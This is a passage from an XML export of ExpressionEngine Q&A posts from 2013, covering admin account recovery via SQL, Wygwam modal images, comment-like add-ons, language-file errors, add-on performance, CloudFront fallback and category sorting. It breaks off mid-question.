  <row Id="6187" PostTypeId="2" ParentId="6160" CreationDate="2013-02-12T01:56:20.537" Score="2" Body="&lt;p&gt;It sounds like you need to be set as a SuperAdmin if you do not have access to a SuperAdmin that can change your account type you have a few options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest would be to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to Tools &gt; Data &gt; SQL Manager &gt; Database Query Form you can simply run the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_members SET group_id=1 WHERE member_id=X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &quot;X&quot; is your member_id. If you need to find out your member_id you can goto Members &gt; View All and then search for your username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would be to reset the initial Super Admins password to something along the lines of &quot;password&quot; for you to login and change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that you would want to run the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_members SET password='5f4dcc3b5aa765d61d8327deb882cf99' WHERE member_id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can also be done from phpMyAdmin if you do not have access to the Tools menu.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-12T01:56:20.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6188" PostTypeId="1" AcceptedAnswerId="6189" CreationDate="2013-02-12T02:02:40.700" Score="2" ViewCount="151" Body="&lt;p&gt;This issue has come up several times in the past with clients, and I can't seem to think up a clever way of doing it.  A few of my clients would like to upload images in the body copy of their text that will popup a jQuery modal window with a larger version of the image when clicked on, rather than a new tab/window default behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would probably be easy if they were limited to one image in the body, but I don't want to limit them with just one image... and plus I'm very curious if this can be done ;-)  If it matters, I'll be using Assets as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2013-02-12T04:44:29.993" Title="Wygwam and modal windows for images" Tags="|assets|jquery|wygwam|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6189" PostTypeId="2" ParentId="6188" CreationDate="2013-02-12T04:44:29.993" Score="2" Body="&lt;p&gt;Well, I guess there are several ways of doing this, one of them is finding a way to &lt;em&gt;modify&lt;/em&gt; preferences window (target or similiar) of a link. But I found it much easer instruct clients to add css class to the link they make. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They make a normal link to big image they want to open in modal window, and in Advanced tab they add special css class. Based on that class you make js call to your modal window, fancybox etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be easy included in documentation and can be actually used on all channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sKpPB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-02-12T04:44:29.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6190" PostTypeId="1" AcceptedAnswerId="6200" CreationDate="2013-02-12T05:16:11.940" Score="0" ViewCount="257" Body="&lt;p&gt;Like some of the social comment engines, is there an add-on to allow users to &quot;like&quot; a comment within an entry (and not the entry itself)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-12T09:43:09.840" Title="Add a &quot;Like&quot; button to a native comments entries tag?" Tags="|comments|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6191" PostTypeId="2" ParentId="6190" CreationDate="2013-02-12T06:41:58.470" Score="0" Body="&lt;p&gt;Although not using the native EE comment module, if you use Solspace's &lt;a href=&quot;http://www.solspace.com/docs/rating/&quot; rel=&quot;nofollow&quot;&gt;Rating&lt;/a&gt; module instead, you can use the &lt;strong&gt;review&lt;/strong&gt; field in a Rating form as an entry comment. This can be done without using the &lt;strong&gt;rating&lt;/strong&gt; field. Then, users can rate a rating/review &lt;em&gt;up&lt;/em&gt; or &lt;em&gt;down&lt;/em&gt; using the &lt;a href=&quot;http://www.solspace.com/docs/rating/insert_rating_vote/&quot; rel=&quot;nofollow&quot;&gt;{exp:rating:insert_rating_vote}&lt;/a&gt; tag. This could be used as an equivalent of &quot;liking&quot; (or &quot;disliking&quot;) a comment.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-02-12T06:41:58.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6192" PostTypeId="2" ParentId="6190" CreationDate="2013-02-12T06:56:26.613" Score="0" Body="&lt;p&gt;Might be not exactly what you're looking for, but you can use &lt;a href=&quot;http://devot-ee.com/add-ons/bookmarks&quot; rel=&quot;nofollow&quot;&gt;Bookmarks&lt;/a&gt; to let users bookmark comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though different, the concept is still similar to likes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use can use &lt;code&gt;{exp:bookmarks:by type='comment' data_id='{comment_id}'}{total_results}{/exp:bookmarks:by}&lt;/code&gt; to display total number of bookmarks for the comment and &lt;code&gt;{exp:bookmarks:check}&lt;/code&gt; to display 'add-to-bookmarks' form&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-12T06:56:26.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6194" PostTypeId="1" AcceptedAnswerId="6197" CreationDate="2013-02-12T07:20:18.293" Score="1" ViewCount="54" Body="&lt;p&gt;I have a language file in my foo add-on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$lang = array(&#xA;&#xA;/* ----------------------------------------&#xA;/*  Required for MODULES page&#xA;/* ----------------------------------------*/&#xA;&#xA;'foo_name'=&amp;gt;&#xA;'Foo',&#xA;&#xA;'foo_description'=&amp;gt;&#xA;'Adds Foo information data in the field',&#xA;&#xA;//-----------------------------------------//&#xA;&#xA;/* END */&#xA;''=&amp;gt;''&#xA;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_VARIABLE in /home/test/public_html/system/expressionengine/third_party/foo/language/english/foo_lang.php on line 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening? I am probably missing something obvious.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-02-12T08:58:59.427" Title="Language file parse error" Tags="|add-on-development|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6195" PostTypeId="2" ParentId="6194" CreationDate="2013-02-12T07:39:17.143" Score="0" Body="&lt;p&gt;The file should be named &lt;code&gt;lang.foo.php&lt;/code&gt;, not &lt;code&gt;foo_lang.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-12T07:39:17.143" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6196" PostTypeId="2" ParentId="6140" CreationDate="2013-02-12T08:17:07.480" Score="3" Body="&lt;p&gt;Ok- so the issue for me turned out to be &quot;Content Elements&quot; plugin from Krea. After disabling this, the errors went away!&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2013-02-12T08:17:07.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6197" PostTypeId="2" ParentId="6194" CreationDate="2013-02-12T08:58:59.427" Score="0" Body="&lt;p&gt;This is probably either a problem with your text editor, or your FTP client (e.g. &lt;a href=&quot;https://stackoverflow.com/questions/11514498/odd-unexpected-t-variable&quot;&gt;https://stackoverflow.com/questions/11514498/odd-unexpected-t-variable&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try copy pasting it into a new file and saving. Make sure the file is saved with unix line endings, and NO byte order mark (BOM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try running it locally, instead of on your server, to rule out problems with your FTP client (assuming you're getting the error on a server, that is).&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-02-12T08:58:59.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6198" PostTypeId="1" CreationDate="2013-02-12T09:37:27.443" Score="2" ViewCount="72" Body="&lt;p&gt;First I'm glad to join this community!&#xA;I'm experiencing very weird problem: &#xA;using EE 1.68 in a template I'm trying to display entries from a weblog, but always got one entry and one specific. I tried adding new ones, checked the expiration dates, statuses, even created new weblog with default settings - same result. I'm using dynamic off and no limits - see below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;banners&quot; dynamic=&quot;off&quot;}&#xA;  {title}&#xA;  {/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody experienced some problem? The actual site was moved on a new hosting. Everything worked fine before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note* If I open some of the older entries with status closed - it instantly shows??&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2013-02-12T11:23:01.403" Title="Weblog doesn't show any entries" Tags="|ee1|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6199" PostTypeId="2" ParentId="6190" CreationDate="2013-02-12T09:40:24.797" Score="0" Body="&lt;p&gt;If one were so inclined, you could take Low's &lt;a href=&quot;http://mijingo.com/products/screencasts/how-to-develop-expressionengine-add-on/&quot; rel=&quot;nofollow&quot;&gt;http://mijingo.com/products/screencasts/how-to-develop-expressionengine-add-on/&lt;/a&gt; which does 'likes' for an entry and modify it to do likes for a comment entry.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-12T09:40:24.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6200" PostTypeId="2" ParentId="6190" CreationDate="2013-02-12T09:40:25.877" Score="0" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/flag-master&quot; rel=&quot;nofollow&quot;&gt;Flag Master&lt;/a&gt;; it's built specifically to allow you do exactly that (and a whole lot more). You can setup your own &quot;sets&quot; of options (or just 1) and is completely AJAX compatible and made with love. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-02-12T09:40:25.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6201" PostTypeId="2" ParentId="6190" CreationDate="2013-02-12T09:43:09.840" Score="1" Body="&lt;p&gt;Likee is free and on my shortlist to try out.&#xA;&lt;a href=&quot;http://booyant.com/likee&quot; rel=&quot;nofollow&quot;&gt;http://booyant.com/likee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-12T09:43:09.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6202" PostTypeId="1" AcceptedAnswerId="6229" CreationDate="2013-02-12T10:13:01.870" Score="0" ViewCount="42" Body="&lt;p&gt;I'm currently using this plugin: &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/json&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/json&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does pretty much everything I want it to-do but unfortunately it doesn't out put images and all the different versions of that image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have edited the plugin to return the data I want but What I have written seems a bit messy and isn't very flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a better solution to editing the &lt;strong&gt;JSON&lt;/strong&gt; output of this plugin to include all image sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is this a built in feature I missed. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-02-12T15:38:37.290" Title="JSON output thumbnails and other image sizes" Tags="|templates|plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6203" PostTypeId="2" ParentId="6105" CreationDate="2013-02-12T10:13:21.647" Score="2" Body="&lt;p&gt;Backup pro &lt;a href=&quot;http://devot-ee.com/add-ons/backup-pro&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/backup-pro&lt;/a&gt; allows you to backup both the DB and your files, as does Safe harbor &lt;a href=&quot;http://devot-ee.com/add-ons/safe-harbor&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/safe-harbor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-02-12T10:13:21.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6204" PostTypeId="1" CreationDate="2013-02-12T10:41:31.533" Score="0" ViewCount="328" Body="&lt;p&gt;On every install I have P&amp;amp;T field pack and Matrix installed. blindly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just recently I had to analyse a site's performance, and the only spike in load times I discovered was P&amp;amp;T add-ons. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.081127 / 20.43MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(0.251239 / 21.99MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it this always the case? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it uses 1.5 MB of memory and 0.17s...&lt;br&gt;&#xA;this seams a lot? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is matrix using that much resources or is it the field_pack? &#xA;or am I not interpreting the numbers correctly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;br&gt;&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="55" LastEditDate="2013-02-12T13:15:59.027" LastActivityDate="2013-04-11T21:19:05.060" Title="Performance of Matrix and P&amp;T Field Pack add-ons" Tags="|matrix|performance|field-pack|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6205" PostTypeId="1" AcceptedAnswerId="6213" CreationDate="2013-02-12T10:50:20.197" Score="1" ViewCount="3208" Body="&lt;p&gt;I need to wrap my head around this...&lt;br&gt;&#xA;With Assets I can upload images directly to S3. With CE Image I can store the manipulated images on S3. &#xA;Is it easy to switch to local images in case S3 is not available? Maybe via the fallback image parameter of CE image?&lt;/p&gt;&#xA;" OwnerUserId="779" LastActivityDate="2013-02-12T19:11:54.883" Title="How do I use Amazon S3 with local fallback in case of S3 outage?" Tags="|assets|ce-image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6206" PostTypeId="1" CreationDate="2013-02-12T10:52:58.997" Score="2" ViewCount="182" Body="&lt;p&gt;Is there a way to pre-select categories when publishing an item? For instance, I have several category groups for my news articles. I want to preselect several of these every time; but it would be great if EE (either natively, or via a plugin) could preselect these for me?&lt;/p&gt;&#xA;" OwnerUserId="995" LastActivityDate="2013-02-12T11:44:22.110" Title="Setting Default Categories on Publish Page" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6207" PostTypeId="2" ParentId="6206" CreationDate="2013-02-12T11:21:27.117" Score="3" Body="&lt;p&gt;Yup, it's native functionality!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#default-category&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#default-category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="996" LastEditorUserId="150" LastEditDate="2013-02-12T11:44:22.110" LastActivityDate="2013-02-12T11:44:22.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6208" PostTypeId="2" ParentId="6198" CreationDate="2013-02-12T11:23:01.403" Score="1" Body="&lt;p&gt;I would recommend experimenting with some parameters to the entries tag and see whether you start to see what you are expecting.  Specifically I would start with &lt;code&gt;status=&quot;open&quot;&lt;/code&gt; and &lt;code&gt;limit=&quot;10&quot;&lt;/code&gt; (one at a time) to see if any of those affect what you get out.  You probably also want to turn on template debugging and see what comes out there.  If you really want to see what the entries tag gets if status isn't affecting it at all you can do something like &lt;code&gt;status=&quot;not undefined&quot;&lt;/code&gt; (assuming you haven't defined a status named undefined)&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-02-12T11:23:01.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6210" PostTypeId="2" ParentId="6140" CreationDate="2013-02-12T13:06:23.793" Score="0" Body="&lt;p&gt;Please download new Content Elements 1.1.1 release: &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/content-elements&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have fixed problem with comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;team Krea&lt;/p&gt;&#xA;" OwnerUserId="287" LastEditorUserId="287" LastEditDate="2013-02-12T13:17:03.330" LastActivityDate="2013-02-12T13:17:03.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6211" PostTypeId="2" ParentId="6204" CreationDate="2013-02-12T13:15:32.383" Score="0" Body="&lt;p&gt;Yes, this is always the case when certain add-ons are installed. The amount of memory use will grow based on the amount of data returned by your Channel Entries call(s) with any add-on that uses the &lt;code&gt;channel_entries_tagdata&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5438/55&quot;&gt;Matrix_ext/channel_entries_tagdata&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-02-12T13:15:32.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6212" PostTypeId="2" ParentId="6204" CreationDate="2013-02-12T13:17:28.457" Score="3" Body="&lt;p&gt;You didn't provide what the numbers were without Matrix or P&amp;amp;T Field Pack. But it also looks like you're posting the progression data. Generally speaking, calls to extensions and add-ons will jump the memory usage and progress time. But I wouldn't consider that a large jump, by any means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A page using almost nothing can take up 8MB of memory to load. I've talked to a few ISPs and while they &lt;strong&gt;WON'T&lt;/strong&gt; say what an average is, they will say, page/template loads under 24MB are fine, preferred even, since these days of growing web applications frequently use far more than that, and they're expecting to keep the server running smoothly, when the developer has created laborious code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a progression sample form one of the sites, we run. The jump when 'Assets' is called is almost 4MB memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.088663 / 13.76MB) -&amp;gt; Method Called: entries&#xA;(0.198751 / 17.92MB) Calling Extension Class/Method: Assets_ext/channel_entries_query_result&#xA;(0.244685 / 20.07MB) Calling Extension Class/Method: Favorites_ext/parse_favorites_date&#xA;(0.246708 / 20.11MB) Calling Extension Class/Method: Gmap_ext/channel_entries_tagdata&#xA;(0.248493 / 20.16MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(0.279621 / 20.40MB) Calling Extension Class/Method: Gmap_ext/channel_entries_tagdata_end&#xA;(0.279966 / 20.30MB) -&amp;gt; Data Returned&#xA;(0.280127 / 20.25MB) - End Tag Processing &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the finally details are, the page is processed in under &lt;code&gt;0.33 seconds&lt;/code&gt; and uses less than &lt;code&gt;22MB Memory&lt;/code&gt;. Plus it loads pretty darn fast. The page with specified data, loads in 0.7946 seconds, with around 42 queries, some items on the page are cached, total memory used is 22.4MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's very dependent. But generally speaking, no that's not bad. &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-12T13:17:28.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6213" PostTypeId="2" ParentId="6205" CreationDate="2013-02-12T13:31:17.250" Score="2" Body="&lt;p&gt;Let me give you a different spin on this that maybe a much easier situation for you to implement as it should work regardless of the add-ons being used your using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than have individual addons upload the assets to S3, keep them on the local server, but setup a CloudFront distribution, but set it up to reverse proxy from your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the address of your CloudFront distribution is d24532452345.cloudfront.net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You set that distribution up to reverse proxy from your server, so d24532452345.cloudfront.net/assets/image1.jpg is pulled once from www.yourserver.com/assets/image1.jpg, then cached on cloudfront for future requests. Requests for that file, until it expires will be pulled from CloudFront.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply setup a folder in ExpressionEngine that has the path pointing to the local server but the URL pointing to CloudFront. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you should run into an issue with CloudFront, you simple update that URL to point to your local server, requests are instantly pointed back to your server again working round any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can further automate this by setting up a cname for the CloudFront distribution, so d24532452345.cloudfront.net has a cname of cdn.yourdomain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are then a few DNS services out there that you could easily use to test for the availability of an asset that should always be present, if you get a failure for any reason, it automatically updates the cname to point back to your server rather than CloudFront.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will speed up delivery of your assets. The downside to this approach is that your not offloading the assets from your server, only offloading the delivery of them to the visitor. It's a very flexible approach though that does not require heavy customisation of any one addon to achieve the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this sounds like it would work for you, let me know and I'll get some more info up here to better explain how you would set it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a good article that gives more detail on how to setup CloudFront to reverse proxy your assets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.newvem.com/enable-cloudfront-for-your-applications-non-dynamic-content/&quot; rel=&quot;nofollow&quot;&gt;http://www.newvem.com/enable-cloudfront-for-your-applications-non-dynamic-content/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section two thirds of the way down called Serving Javascript and CSS files is using the reverse proxy concept. In essence though all we are doing is telling CloudFront not to fetch the content from S3 instead fetch it from our own server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the DNS side of things, I think gunning for automatic failover maybe a little overkill, but it's doable without question. The simple solution I think would be to do monitoring with any web monitoring service to notify you if it falls over, you set the TTL low on the DNS record, switching it should there ever be an issue, the low TTL will ensure DNS does not cache the record for too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If automatic failover is a requirement, then someone like DNS Made Easy would work. That's who I use. You setup monitoring to check for a single text string in a file, that shoudl always be present, if in any check that text string is not present a failure can be assumed, you then have it switch the cname record to your server rather than CloudFront.&lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorUserId="587" LastEditDate="2013-02-12T14:40:20.053" LastActivityDate="2013-02-12T14:40:20.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6214" PostTypeId="1" CreationDate="2013-02-12T13:33:36.173" Score="0" ViewCount="868" Body="&lt;p&gt;I'm using a safecracker form for guests to submit entries. When I'm logged out and I visite the page with the safecrackerform I get this error thrown at me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Unable to load the requested language file: language/dutch/upload_lang.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens also when I change the language settings in the general config to English. The member_id to use for guests also uses English settings.&#xA;The upload_lang.php file I can only find in system &gt; codeigniter &gt; system &gt; language &gt; english.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="702" LastActivityDate="2013-03-19T18:06:43.460" Title="Safecracker related(?) error: &quot;Unable to load the requested language&quot;" Tags="|safecracker|system-messages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6215" PostTypeId="1" AcceptedAnswerId="6222" CreationDate="2013-02-12T13:38:37.933" Score="1" ViewCount="900" Body="&lt;p&gt;I have entries which are assigned to two category groups. In one category group, the entry will only every belong to one category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to order entries alphabetically by category group? Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;category_group:2&quot; sort=&quot;asc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="744" LastActivityDate="2013-02-12T15:14:35.900" Title="Order entries alphabetically by category group?" Tags="|categories|parameters|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6216" PostTypeId="2" ParentId="6215" CreationDate="2013-02-12T13:50:08.023" Score="2" Body="&lt;p&gt;This should do the trick. The category tables' structure in ExpressionEngine is really simple and using SQL is more powerful than any of EE's category tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to enable the Query module if you haven't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query&#xA;sql=&quot;Select g.group_name, c.cat_name, t.title, t.url_title&#xA;From exp_category_groups g&#xA;join exp_categories c&#xA;on g.group_id = c.group_id&#xA;join exp_category_posts cp&#xA;on c.cat_id = cp.cat_id&#xA;join exp_channel_titles t&#xA;on cp.entry_id = t.entry_id&#xA;where g.group_id = 4&#xA;order by g.group_name, c.cat_name, t.title asc&quot;}&#xA;{if ...}&amp;lt;h2&amp;gt;{group_name}&amp;lt;/h2&amp;gt;{/if}&#xA;{if ...}&amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if ...}&amp;lt;/ul&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't fill in the &lt;code&gt;if&lt;/code&gt; statements. You'll need some conditional logic to figure out when in the loop to show a group or category heading and start a new list, because those are on every result returned. That might need to be PHP, so you can keep track of the previous value and compare them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWCode Categories&lt;/a&gt; also fills in many of the gaps in EE's category tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; The &lt;code&gt;exp:query&lt;/code&gt; tag is a great technique to master, as it offers 'middle ground' between EE's tags and doing custom PHP/app dev. You're right (in your comment) that you'll lose out on some built-in parameters, but you may be able to include some in your SQL. Check out GWCode Categories too, though. It might offer solution and its docs include plenty of examples.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-12T14:15:10.263" LastActivityDate="2013-02-12T14:15:10.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6217" PostTypeId="1" CreationDate="2013-02-12T14:00:57.663" Score="1" ViewCount="165" Body="&lt;p&gt;I am using the fantastic Exp:resso Store. My client has an account with PayPal Pro. Their host hasn't got the option for SSL certs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering if PayPal Pro can still be used on site? Or if I use the module can I divert it to the hosted version at PayPal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the simple question. Normally I would just try, but I have a meeting with the client and would like to know the answer before then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2014-07-29T13:38:49.220" Title="Exp:resso Store - Paypal Pro hosted?" Tags="|expresso-store|paypal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6218" PostTypeId="1" AcceptedAnswerId="6472" CreationDate="2013-02-12T14:03:12.893" Score="0" ViewCount="68" Body="&lt;p&gt;I want to give my client the ability to visually select a file from one of my file-folders in safecracker. I was thinking of using an embed with &lt;code&gt;{exp:assets:files}&lt;/code&gt; loop in there, something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files folder_id='1' kind='image'}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; data-url=&quot;{url}&quot;&amp;gt;&amp;lt;img src=&quot;{url}&quot; alt=&quot;{filename}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now what would I feed back to the safecracker-form in order for my assets-field in this entry to be updated with the file I just clicked? Should I feed the file's url to a hidden &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; 